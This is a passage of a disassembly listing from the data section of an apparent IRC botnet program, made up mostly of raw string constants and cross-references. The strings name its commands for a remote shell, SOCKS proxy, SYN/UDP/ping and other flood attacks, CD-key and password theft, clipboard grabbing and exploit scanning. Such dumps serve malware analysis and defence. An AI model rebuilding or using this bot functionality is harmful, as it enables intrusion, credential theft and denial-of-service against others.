XREF: sub_401C87+1D8o align 4 a001 db '001',0 ; DATA XREF: sub_401C87+1F4o a005 db '005',0 ; DATA XREF: sub_401C87+209o a302 db '302',0 ; DATA XREF: sub_401C87+21Eo a@: ; DATA XREF: sub_401C87+22Eo unicode 0, <@>,0 a433 db '433',0 ; DATA XREF: sub_401C87+260o aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+288o align 4 aKick db 'KICK',0 ; DATA XREF: sub_401C87+2DDo align 10h unk_43FBE0 db 2Dh ; - ; DATA XREF: sub_401C87+340o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedOut db 'User %s logged out.',0 aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+359o aJoinSS_0 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+3A3o align 10h aNick db 'NICK',0 ; DATA XREF: sub_401C87+3B9o align 4 aSS db ':%s%s',0 ; DATA XREF: sub_401C87+4D9o align 10h aPart db 'PART',0 ; DATA XREF: sub_401C87+501o align 4 aQuit db 'QUIT',0 ; DATA XREF: sub_401C87+512o align 10h a353 db '353',0 ; DATA XREF: sub_401C87+550o unk_43FC44 db 2Dh ; - ; DATA XREF: sub_401C87+581o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChannelS db 'Joined channel: %s.',0 unk_43FC64 db 2Dh ; - ; DATA XREF: sub_401C87+5A8o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedO_0 db 'User: %s logged out.',0 align 4 aPart_0 db 'PART',0 ; DATA XREF: sub_401C87+5C5o align 10h aNoticeSS_0 db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401C87+5E9o aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401C87+5F4o aNotice db 'NOTICE',0 ; DATA XREF: sub_401C87+605o align 10h a332 db '332',0 ; DATA XREF: sub_401C87+616o aPrivmsg_0 db 'PRIVMSG',0 ; DATA XREF: sub_401C87+637o aNotice_0 db 'NOTICE',0 ; DATA XREF: sub_401C87+64Co align 4 dword_43FCC4 dd 43434401h, 0 ; DATA XREF: sub_401C87+68Eo aSend_1 db 'SEND',0 ; DATA XREF: sub_401C87+6ACo align 4 aS_20 db '%s',0 ; DATA XREF: sub_401C87+6D9o align 4 aS_21 db '%s',0 ; DATA XREF: sub_401C87+6F1o align 4 unk_43FCDC db 2Dh ; - ; DATA XREF: sub_401C87+74Fo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0 align 4 aNotice_1 db 'NOTICE',0 ; DATA XREF: sub_401C87+7ABo align 4 asc_43FD14: ; DATA XREF: sub_401C87+7D0o unicode 0, <#>,0 dword_43FD18 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401C87+856o dword_43FD24 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_401C87+881o dd 0D017325h, 0Ah dword_43FD40 dd 4E495001h, 47h ; DATA XREF: sub_401C87+88Co dword_43FD48 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_401C87+8BDo dd 0A0Dh unk_43FD60 db 2Dh ; - ; DATA XREF: sub_401C87+8E0o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToStartT db '- Failed to start transfer thread, error: <%d>.',0 align 10h unk_43FDA0 db 2Dh ; - ; DATA XREF: sub_401C87+8FEo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 align 4 aChat db 'CHAT',0 ; DATA XREF: sub_401C87+91Bo align 4 aS db '%s',0 ; DATA XREF: sub_401C87+958o align 10h unk_43FDF0 db 2Dh ; - ; DATA XREF: sub_401C87+9AFo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFromUserS_ db '- Chat from user: %s.',0 align 10h unk_43FE10 db 2Dh ; - ; DATA XREF: sub_401C87+A08o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToStartC db '- Failed to start chat thread, error: <%d>.',0 align 4 unk_43FE48 db 2Dh ; - ; DATA XREF: sub_401C87+A2Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatAlreadyAct db '- Chat already active with user: %s.',0 align 4 unk_43FE78 db 2Dh ; - ; DATA XREF: sub_401C87+A3Fo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0 align 4 aLogin db 'login',0 ; DATA XREF: sub_401C87+A62o asc_43FEB2 db 'l',0 ; DATA XREF: sub_401C87+A7Ao a332_0 db '332',0 ; DATA XREF: sub_401C87+A9Co asc_43FEB8 db ' :',0 ; DATA XREF: sub_401C87:loc_40277Bo align 4 aD db '$%d-',0 ; DATA XREF: sub_401C87+B58o align 4 aD_0 db '$%d',0 ; DATA XREF: sub_401C87+C0Eo aMe db '$me',0 ; DATA XREF: sub_401C87+C82o aUser db '$user',0 ; DATA XREF: sub_401C87+C94o align 4 aChan db '$chan',0 ; DATA XREF: sub_401C87+CA5o align 4 aRndnick db '$rndnick',0 ; DATA XREF: sub_401C87+CC1o align 4 aServer db '$server',0 ; DATA XREF: sub_401C87+CD2o aChr db '$chr(',0 ; DATA XREF: sub_401C87+CDDo align 4 aChr_0 db '$chr(',0 ; DATA XREF: sub_401C87:loc_40297Ao asc_43FEFE db ')',0 ; DATA XREF: sub_401C87+D1Bo a63 db '63',0 ; DATA XREF: sub_401C87+D43o align 4 asc_43FF04: ; DATA XREF: sub_401C87+E1Eo unicode 0, < > aRndnick_0 db 'rndnick',0 ; DATA XREF: sub_401C87+E68o aRn db 'rn',0 ; DATA XREF: sub_401C87+E80o align 4 aDie db 'die',0 ; DATA XREF: sub_401C87+E95o aD_1: ; DATA XREF: sub_401C87+EAAo unicode 0, <d>,0 aLogout db 'logout',0 ; DATA XREF: sub_401C87+EBFo align 4 aLo db 'lo',0 ; DATA XREF: sub_401C87+ED4o align 4 aVersion db 'version',0 ; DATA XREF: sub_401C87+EE9o aVer db 'ver',0 ; DATA XREF: sub_401C87+EFEo aDedication db 'dedication',0 ; DATA XREF: sub_401C87+F13o align 10h aDed db 'ded',0 ; DATA XREF: sub_401C87+F28o aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401C87+F3Do align 10h aSt db 'st',0 ; DATA XREF: sub_401C87+F52o align 4 aSecure db 'secure',0 ; DATA XREF: sub_401C87+F67o align 4 aSec db 'sec',0 ; DATA XREF: sub_401C87+F7Co aUnsecure db 'unsecure',0 ; DATA XREF: sub_401C87+F91o align 4 aUnsec db 'unsec',0 ; DATA XREF: sub_401C87+FA6o align 4 aBindshell db 'bindshell',0 ; DATA XREF: sub_401C87+FBBo align 10h aBd db 'bd',0 ; DATA XREF: sub_401C87+FD0o align 4 aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401C87+FE5o align 4 aServer_1 db 'Server',0 ; DATA XREF: sub_401C87+FFEo align 4 dword_43FF9C dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0 ; DATA XREF: sub_401C87+1003o aSocks4 db 'socks4',0 ; DATA XREF: sub_401C87+1025o align 4 aS4 db 's4',0 ; DATA XREF: sub_401C87+103Ao align 4 aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401C87+104Fo align 4 aServer_2 db 'Server',0 ; DATA XREF: sub_401C87+1068o align 10h dword_43FFD0 dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401C87+106Do aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401C87+1075o align 4 aServer_3 db 'Server',0 ; DATA XREF: sub_401C87+108Eo align 4 dword_43FFF4 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401C87+1093o aHttpstop db 'httpstop',0 ; DATA XREF: sub_401C87+109Eo align 10h aServer_4 db 'Server',0 ; DATA XREF: sub_401C87+10B7o align 4 dword_440018 dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401C87+10BCo aLogstop db 'logstop',0 ; DATA XREF: sub_401C87+10C7o aLogList db 'Log list',0 ; DATA XREF: sub_401C87+10E0o align 4 dword_44003C dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401C87+10E5o aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401C87+10F0o align 4 aTcpRedirect db 'TCP redirect',0 ; DATA XREF: sub_401C87+1109o align 4 dword_440068 dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401C87+110Eo dword_440078 dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401C87+1119o dword_440084 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401C87+1132o dword_440090 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401C87+1137o aSynstop db 'synstop',0 ; DATA XREF: sub_401C87+1142o aSynFlood db 'Syn flood',0 ; DATA XREF: sub_401C87+115Bo align 10h dword_4400B0 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401C87+1160o aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401C87+116Bo align 4 aSkysynFlood db 'SkySyn flood',0 ; DATA XREF: sub_401C87+1184o align 4 dword_4400D8 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401C87+1189o aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401C87+1194o align 4 aTarga3Flood db 'Targa3 flood',0 ; DATA XREF: sub_401C87+11ADo align 4 dword_440104 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401C87+11B2o aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401C87+11BDo align 10h aWonkFlood db 'Wonk flood',0 ; DATA XREF: sub_401C87+11D6o align 4 dword_44012C dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401C87+11DBo aPacketstop db 'packetstop',0 ; DATA XREF: sub_401C87+11E6o align 4 aDdosFlood db 'DDoS flood',0 ; DATA XREF: sub_401C87+1207o align 10h dword_440150 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401C87+120Co dword_44015C dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401C87+1225o dword_440168 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401C87+122Ao dword_440174 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401C87+1246o dword_440180 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401C87+124Bo dword_44018C dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401C87+1264o dword_440198 dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401C87+1269o dword_4401A4 dd 67726154h, 66203361h, 646F6F6Ch, 0 ; DATA XREF: sub_401C87+1285o dword_4401B4 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401C87+128Ao dword_4401C4 dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401C87+12A3o dword_4401D0 dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401C87+12A8o dword_4401DC dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; DATA XREF: sub_401C87+12C4o dword_4401EC dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401C87+12C9o dword_4401FC dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; DATA XREF: sub_401C87+12E2o dword_44020C dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401C87+12E7o dword_44021C dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; DATA XREF: sub_401C87+1303o dword_44022C dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401C87+1308o unk_44023C db 2Dh ; - ; DATA XREF: sub_401C87+1322o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aAllPacketingAc db 'All packeting activity has been halted.',0 aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401C87+133Co aTsunamiFlood db 'Tsunami flood',0 ; DATA XREF: sub_401C87+1355o align 4 dword_44028C dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401C87+135Ao aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401C87+1365o align 4 aWisdomAttack db 'Wisdom attack',0 ; DATA XREF: sub_401C87+137Eo align 4 dword_4402B8 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401C87+1383o aUdpstop db 'udpstop',0 ; DATA XREF: sub_401C87+138Eo aUdpFlood db 'UDP flood',0 ; DATA XREF: sub_401C87+13A7o align 4 dword_4402DC dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401C87+13ACo aPingstop db 'pingstop',0 ; DATA XREF: sub_401C87+13B7o align 4 aPingFlood db 'Ping flood',0 ; DATA XREF: sub_401C87+13D0o align 10h dword_440300 dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401C87+13D5o aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401C87+13E0o align 4 aServer_5 db 'Server',0 ; DATA XREF: sub_401C87+13F9o align 10h dword_440320 dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401C87+13FEo aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401C87+1409o align 10h aFfstop db 'ffstop',0 ; DATA XREF: sub_401C87+141Eo align 4 aProcsstop db 'procsstop',0 ; DATA XREF: sub_401C87+1433o align 4 aPsstop db 'psstop',0 ; DATA XREF: sub_401C87+1448o align 4 aClonestop db 'clonestop',0 ; DATA XREF: sub_401C87+145Do align 4 aClone db 'Clone',0 ; DATA XREF: sub_401C87+1476o align 10h dword_440370 dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401C87+147Bo aSecurestop db 'securestop',0 ; DATA XREF: sub_401C87+1486o align 4 aSecure_1 db 'Secure',0 ; DATA XREF: sub_401C87+149Fo align 4 dword_440394 dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401C87+14A4o aScanstop db 'scanstop',0 ; DATA XREF: sub_401C87+14AFo align 10h aScan_0 db 'Scan',0 ; DATA XREF: sub_401C87+14C8o align 4 dword_4403B8 dd 234032Dh, 6E616373h, 2D0302h ; DATA XREF: sub_401C87+14CDo aScanstats db 'scanstats',0 ; DATA XREF: sub_401C87+14D8o align 10h aStats db 'stats',0 ; DATA XREF: sub_401C87+14EDo align 4 aTransferstats db 'transferstats',0 ; DATA XREF: sub_401C87+1502o align 4 aTrstats db 'trstats',0 ; DATA XREF: sub_401C87+1517o aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401C87+152Co align 4 aCbstats db 'cbstats',0 ; DATA XREF: sub_401C87+1541o aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401C87+1556o aExplist db 'explist',0 ; DATA XREF: sub_401C87+156Bo aReconnect db 'reconnect',0 ; DATA XREF: sub_401C87+1580o aR db 'r',0 ; DATA XREF: sub_401C87+1595o aDisconnect db 'disconnect',0 ; DATA XREF: sub_401C87+15AAo align 4 aDc db 'dc',0 ; DATA XREF: sub_401C87+15BFo align 4 aQuit_0 db 'quit',0 ; DATA XREF: sub_401C87+15D4o align 2 aQ db 'q',0 ; DATA XREF: sub_401C87+15E9o aStatus db 'status',0 ; DATA XREF: sub_401C87+15FEo align 4 aS_0: ; DATA XREF: sub_401C87+1613o unicode 0, <s>,0 aId db 'id',0 ; DATA XREF: sub_401C87+1628o align 4 aI: ; DATA XREF: sub_401C87+163Do unicode 0, <i>,0 aReboot db 'reboot',0 ; DATA XREF: sub_401C87+1652o align 10h unk_440460 db 2Dh ; - ; DATA XREF: sub_401C87+1669o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRebootingSyste db 'Rebooting system.',0 align 10h unk_440480 db 2Dh ; - ; DATA XREF: sub_401C87+1670o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedToReboot db 'Failed to reboot system.',0 align 4 aThreads db 'threads',0 ; DATA XREF: sub_401C87+16A4o aT: ; DATA XREF: sub_401C87+16B9o unicode 0, <t>,0 aAliases db 'aliases',0 ; DATA XREF: sub_401C87+16CEo aAl db 'al',0 ; DATA XREF: sub_401C87+16E3o align 10h aLog db 'log',0 ; DATA XREF: sub_401C87+16F8o aLg db 'lg',0 ; DATA XREF: sub_401C87+170Do align 4 aClearlog db 'clearlog',0 ; DATA XREF: sub_401C87+1722o align 4 aClg db 'clg',0 ; DATA XREF: sub_401C87+1737o aNetinfo db 'netinfo',0 ; DATA XREF: sub_401C87+174Co aNi db 'ni',0 ; DATA XREF: sub_401C87+1761o align 4 aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401C87+1776o aSi db 'si',0 ; DATA XREF: sub_401C87+178Bo align 10h aRemove db 'remove',0 ; DATA XREF: sub_401C87+17A0o align 4 aRm db 'rm',0 ; DATA XREF: sub_401C87+17B5o align 4 aProcs db 'procs',0 ; DATA XREF: sub_401C87+17CAo align 4 aPs db 'ps',0 ; DATA XREF: sub_401C87+17DFo align 4 aGetcdkeys db 'getcdkeys',0 ; DATA XREF: sub_401C87+17F4o align 4 aKey db 'key',0 ; DATA XREF: sub_401C87+1809o aUptime db 'uptime',0 ; DATA XREF: sub_401C87+181Eo align 10h aUp db 'up',0 ; DATA XREF: sub_401C87+1833o align 4 aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401C87+1848o align 10h aDrv db 'drv',0 ; DATA XREF: sub_401C87+185Do aTestdlls db 'testdlls',0 ; DATA XREF: sub_401C87+1872o align 10h aDll db 'dll',0 ; DATA XREF: sub_401C87+1887o aOpencmd db 'opencmd',0 ; DATA XREF: sub_401C87+189Co aOcmd db 'ocmd',0 ; DATA XREF: sub_401C87+18B1o align 4 aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401C87+18C6o aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_401C87+18DFo align 4 dword_44056C dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401C87+18E4o dword_440578 dd 6F6877h ; DATA XREF: sub_401C87+18EFo dword_44057C dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh ; DATA XREF: sub_401C87+190Co dword_440590 dd 706D453Ch, 3E7974h ; DATA XREF: sub_401C87:loc_4035BEo dword_440598 dd 202E6425h, 7325h ; DATA XREF: sub_401C87+1946o unk_4405A0 db 2Dh ; - ; DATA XREF: sub_401C87+197Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aLoginListCompl db 'Login list complete.',0 align 4 aSpoof db 'spoof',0 ; DATA XREF: sub_401C87+199Co align 4 aOff db 'off',0 ; DATA XREF: sub_401C87+19B3o unk_4405D0 db 2Dh ; - ; DATA XREF: sub_401C87+19CEo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingDisabl db ' Spoofing disabled.',0 aGetclip db 'getclip',0 ; DATA XREF: sub_401C87+1A0Co aGc db 'gc',0 ; DATA XREF: sub_401C87+1A21o align 4 aFlusharp db 'flusharp',0 ; DATA XREF: sub_401C87+1A36o align 10h aFarp db 'farp',0 ; DATA XREF: sub_401C87+1A4Bo align 4 aFlushdns db 'flushdns',0 ; DATA XREF: sub_401C87+1A60o align 4 aFdns db 'fdns',0 ; DATA XREF: sub_401C87+1A75o align 4 aCurrentip db 'currentip',0 ; DATA XREF: sub_401C87+1A8Ao align 4 aCip db 'cip',0 ; DATA XREF: sub_401C87+1A9Fo aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401C87+1AB4o align 4 aRlogin db 'rlogin',0 ; DATA XREF: sub_401C87+1AC9o align 4 aHttpserver db 'httpserver',0 ; DATA XREF: sub_401C87+1ADEo align 10h aHttp db 'http',0 ; DATA XREF: sub_401C87+1AF3o align 4 aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401C87+1B08o align 4 aTftp db 'tftp',0 ; DATA XREF: sub_401C87+1B1Do align 4 aCrash db 'crash',0 ; DATA XREF: sub_401C87+1B32o align 4 dword_440684 dd 234032Dh, 6E69616Dh, 202D0302h, 73617243h, 676E6968h ; DATA XREF: sub_401C87+1B48o dd 746F6220h, 2Eh aCrash_0 db 'crash',0 ; DATA XREF: sub_401C87+1B82o align 4 aScanall db 'scanall',0 ; DATA XREF: sub_401C87+1B98o aSa db 'sa',0 ; DATA XREF: sub_401C87+1BADo align 4 aPhonehome db 'phonehome',0 ; DATA XREF: sub_401C87+1BC2o align 10h aNoticeSPhoning db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401C87+1BD9o align 4 aFindpass db 'findpass',0 ; DATA XREF: sub_401C87+1BECo align 10h aFp db 'fp',0 ; DATA XREF: sub_401C87+1BFDo align 4 unk_4406F4 db 2Dh ; - ; DATA XREF: sub_401C87+1C2Bo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aSearchingForPa db 'Searching for password.',0 unk_44071C db 2Dh ; - ; DATA XREF: sub_401C87+1CA7o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToStar_0 db 'Failed to start search thread, error: <%d>.',0 unk_440758 db 2Dh ; - ; DATA XREF: sub_401C87+1D1Ao db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aAlreadyDScanni db '- Already %d scanning threads. Too many specified.',0 aRandom db 'Random',0 ; DATA XREF: sub_401C87+1ECDo align 10h aSequential db 'Sequential',0 ; DATA XREF: sub_401C87+1ED4o align 10h unk_4407B0 db 2Dh ; - ; DATA XREF: sub_401C87+1EFFo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aSPortScanStart db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 4 unk_44081C db 2Dh ; - ; DATA XREF: sub_401C87+1F5Eo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToStar_1 db '- Failed to start scan thread, error: <%d>.',0 align 4 unk_440858 db 2Dh ; - ; DATA XREF: sub_401C87:loc_403C47o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToStar_2 db '- Failed to start scan, port is invalid.',0 align 10h unk_440890 db 2Dh ; - ; DATA XREF: sub_401C87+1FD6o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aAlreadyRunning db ' Already running.',0 align 10h unk_4408B0 db 2Dh ; - ; DATA XREF: sub_401C87+2083o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aServerStartedO db ' Server started on Port: %d, File: %s.',0 align 4 unk_4408E4 db 2Dh ; - ; DATA XREF: sub_401C87+20DCo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToStar_3 db ' Failed to start server thread, error: <%d>.',0 align 10h unk_440920 db 2Dh ; - ; DATA XREF: sub_401C87+21F8o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerListenin db ' Server listening on IP: %s:%d, Directory: %s\.',0 unk_44095C db 2Dh ; - ; DATA XREF: sub_401C87+2251o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToStar_4 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_440998 db 2Dh ; - ; DATA XREF: sub_401C87+232Fo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aServerListen_0 db '- Server listening on IP: %s:%d, Username: %s.',0 unk_4409D4 db 2Dh ; - ; DATA XREF: sub_401C87+2388o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToStar_5 db '- Failed to start server thread, error: <%d>.',0 align 10h unk_440A10 db 2Dh ; - ; DATA XREF: sub_401C87+241Bo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aDnsCacheFlushe db 'DNS cache flushed.',0 align 4 unk_440A34 db 2Dh ; - ; DATA XREF: sub_401C87:loc_4040A9o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushD db 'Failed to flush DNS cache.',0 align 10h unk_440A60 db 2Dh ; - ; DATA XREF: sub_401C87:loc_4040B0o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToLoadDn db 'Failed to load dnsapi.dll.',0 align 4 unk_440A8C db 2Dh ; - ; DATA XREF: sub_401C87+2453o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheFlushe db 'ARP cache flushed.',0 align 10h unk_440AB0 db 2Dh ; - ; DATA XREF: sub_401C87:loc_4040E1o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushA db 'Failed to flush ARP cache.',0 align 4 dword_440ADC dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h ; DATA XREF: sub_401C87+246Ao dd 2Dh dword_440AF4 dd 234032Dh, 6E69616Dh, 202D0302h, 20746547h, 70696C43h ; DATA XREF: sub_401C87+2498o dd 72616F62h, 2E64h unk_440B10 db 2Dh ; - ; DATA XREF: sub_401C87+24AEo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellAlr db '- Remote shell already running.',0 align 4 unk_440B3C db 2Dh ; - ; DATA XREF: sub_401C87+24CDo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0 align 4 unk_440B64 db 2Dh ; - ; DATA XREF: sub_401C87:loc_40415Eo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellRea db '- Remote shell ready.',0 align 4 dword_440B84 dd 234032Dh, 6E69616Dh, 202D0302h, 69747055h, 203A656Dh ; DATA XREF: sub_401C87+2566o dd 2E7325h dword_440B9C dd 234032Dh, 656B6463h, 3027379h ; DATA XREF: sub_401C87+25B5o aSearchComplete db '- Search completed.',0 unk_440BBC db 2Dh ; - ; DATA XREF: sub_401C87+25E1o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aAlreadyRunni_0 db ' Already running.',0 align 4 aFull db 'full',0 ; DATA XREF: sub_401C87+2643o align 4 dword_440BE4 dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h ; DATA XREF: sub_401C87+2663o dd 696C2073h, 2E7473h unk_440C00 db 2Dh ; - ; DATA XREF: sub_401C87+26C2o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToStartL db ' Failed to start listing thread, error: <%d>.',0 align 4 dword_440C3C dd 234032Dh, 6E69616Dh, 202D0302h, 6F6D6552h, 676E6976h ; DATA XREF: sub_401C87+26F3o dd 746F4220h, 2Eh dword_440C58 dd 234032Dh, 6E69616Dh, 202D0302h, 74737953h, 49206D65h ; DATA XREF: sub_401C87+2748o dd 2E6F666Eh, 0 dword_440C74 dd 234032Dh, 6E69616Dh, 202D0302h, 7774654Eh, 206B726Fh ; DATA XREF: sub_401C87+2777o dd 6F666E49h, 2Eh dword_440C90 dd 7325h ; DATA XREF: sub_401C87+27C8o dword_440C94 dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh ; DATA XREF: sub_401C87+27FBo dd 2E676Fh unk_440CAC db 2Dh ; - ; DATA XREF: sub_401C87+2872o db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedToStar_6 db '- Failed to start listing thread, error: <%d>.',0 dword_440CE4 dd 234032Dh, 6E69616Dh, 202D0302h, 61696C41h, 696C2073h ; DATA XREF: sub_401C87+28A2o dd 2E7473h dword_440CFC dd 627573h ; DATA XREF: sub_401C87+28F4o dword_440D00 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h ; DATA XREF: sub_401C87+291Ao dd 65726874h, 2E736461h, 0 unk_440D20 db 2Dh ; - ; DATA XREF: sub_401C87+2973o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToStar_7 db '- Failed to start list thread, error: <%d>.',0 align 4 dword_440D5C dd 234032Dh, 6E69616Dh, 202D0302h, 